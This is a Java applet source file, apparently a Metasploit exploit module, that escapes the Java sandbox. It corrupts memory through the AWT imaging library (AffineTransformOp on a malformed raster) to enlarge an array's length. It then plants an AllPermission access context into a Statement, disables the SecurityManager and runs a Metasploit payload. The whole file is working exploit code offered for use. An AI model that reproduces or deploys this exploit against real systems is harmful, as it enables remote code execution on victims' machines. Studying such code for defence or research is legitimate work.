198 lines
6.8 KiB
Java
Executable File
198 lines
6.8 KiB
Java
Executable File
import java.awt.image.*;
|
|
import java.awt.color.*;
|
|
import java.beans.Statement;
|
|
import java.security.*;
|
|
import metasploit.Payload;
|
|
import java.applet.Applet;
|
|
|
|
public class Exploit extends Applet {
|
|
|
|
public void init() {
|
|
|
|
try {
|
|
|
|
// try several attempts to exploit
|
|
for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
|
|
//System.out.println("Attempt #" + i);
|
|
tryExpl();
|
|
}
|
|
|
|
// check results
|
|
if (System.getSecurityManager() == null) {
|
|
// execute payload
|
|
//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
|
|
Payload.main(null);
|
|
}
|
|
|
|
} catch (Exception ex) {
|
|
//ex.printStackTrace();
|
|
}
|
|
}
|
|
|
|
public static String toHex(int i)
|
|
{
|
|
return Integer.toHexString(i);
|
|
}
|
|
|
|
private boolean _is64 = System.getProperty("os.arch","").contains("64");
|
|
|
|
// we will need ColorSpace which returns 1 from getNumComponents()
|
|
class MyColorSpace extends ICC_ColorSpace
|
|
{
|
|
public MyColorSpace()
|
|
{
|
|
super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
|
|
}
|
|
|
|
// override getNumComponents
|
|
public int getNumComponents()
|
|
{
|
|
int res = 1;
|
|
return res;
|
|
}
|
|
}
|
|
|
|
// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
|
|
class MyColorModel extends ComponentColorModel
|
|
{
|
|
public MyColorModel()
|
|
{
|
|
super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
|
|
}
|
|
|
|
// override isCompatibleRaster
|
|
public boolean isCompatibleRaster(Raster r)
|
|
{
|
|
boolean res = true;
|
|
return res;
|
|
}
|
|
}
|
|
|
|
|
|
private int tryExpl()
|
|
{
|
|
try {
|
|
// alloc aux vars
|
|
String name = "setSecurityManager";
|
|
Object[] o1 = new Object[1];
|
|
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
|
|
|
|
// allocate byte buffer for destination Raster.
|
|
DataBufferByte dst = new DataBufferByte(16);
|
|
|
|
// allocate the target array right after dst
|
|
int[] a = new int[8];
|
|
// allocate an object array right after a[]
|
|
Object[] oo = new Object[7];
|
|
|
|
// create Statement with the restricted AccessControlContext
|
|
oo[2] = new Statement(System.class, name, o1);
|
|
|
|
// create powerful AccessControlContext
|
|
Permissions ps = new Permissions();
|
|
ps.add(new AllPermission());
|
|
oo[3] = new AccessControlContext(
|
|
new ProtectionDomain[]{
|
|
new ProtectionDomain(
|
|
new CodeSource(
|
|
new java.net.URL("file:///"),
|
|
new java.security.cert.Certificate[0]
|
|
),
|
|
ps
|
|
)
|
|
}
|
|
);
|
|
|
|
// store System.class pointer in oo[]
|
|
oo[4] = ((Statement)oo[2]).getTarget();
|
|
|
|
// save old a.length
|
|
int oldLen = a.length;
|
|
//System.out.println("a.length = 0x" + toHex(oldLen));
|
|
|
|
// create regular source image
|
|
BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
|
|
|
|
// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
|
|
MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
|
|
// create malformed destination image based on dst[] data
|
|
WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
|
|
BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
|
|
|
|
// prepare first pixel which will overwrite a.length
|
|
bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});
|
|
|
|
// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
|
|
AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
|
|
op.filter(bi1, bi2);
|
|
|
|
// check results: a.length should be overwritten by 0xFFFFFFFF
|
|
int len = a.length;
|
|
//System.out.println("a.length = 0x" + toHex(len));
|
|
if (len == oldLen) {
|
|
// check a[] content corruption // for RnD
|
|
for(int i=0; i < len; i++) {
|
|
if (a[i] != 0) {
|
|
//System.out.println("a["+i+"] = 0x" + toHex(a[i]));
|
|
}
|
|
}
|
|
// exit
|
|
//System.out.println("error 1");
|
|
return 1;
|
|
}
|
|
|
|
// ok, now we can read/write outside the real a[] storage,
|
|
// lets find our Statement object and replace its private "acc" field value
|
|
|
|
// search for oo[] after a[oldLen]
|
|
boolean found = false;
|
|
int ooLen = oo.length;
|
|
for(int i=oldLen+2; i < oldLen+32; i++)
|
|
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
|
|
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
|
|
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
|
|
{
|
|
// read pointer from oo[4]
|
|
int stmTrg = a[i+4];
|
|
// search for the Statement.target field behind oo[]
|
|
for(int j=i+7; j < i+7+64; j++){
|
|
if (a[j] == stmTrg) {
|
|
// overwrite default Statement.acc by oo[3] ("AllPermission")
|
|
a[j-1] = a[i+3];
|
|
found = true;
|
|
break;
|
|
}
|
|
}
|
|
if (found) break;
|
|
}
|
|
|
|
// check results
|
|
if (!found) {
|
|
// print the memory dump on error // for RnD
|
|
String s = "a["+oldLen+"...] = ";
|
|
for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
|
|
//System.out.println(s);
|
|
} else try {
|
|
|
|
// call System.setSecurityManager(null)
|
|
((Statement)oo[2]).execute();
|
|
|
|
// show results: SecurityManager should be null
|
|
} catch (Exception ex) {
|
|
//ex.printStackTrace();
|
|
}
|
|
|
|
//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
|
|
|
|
} catch (Exception ex) {
|
|
//ex.printStackTrace();
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|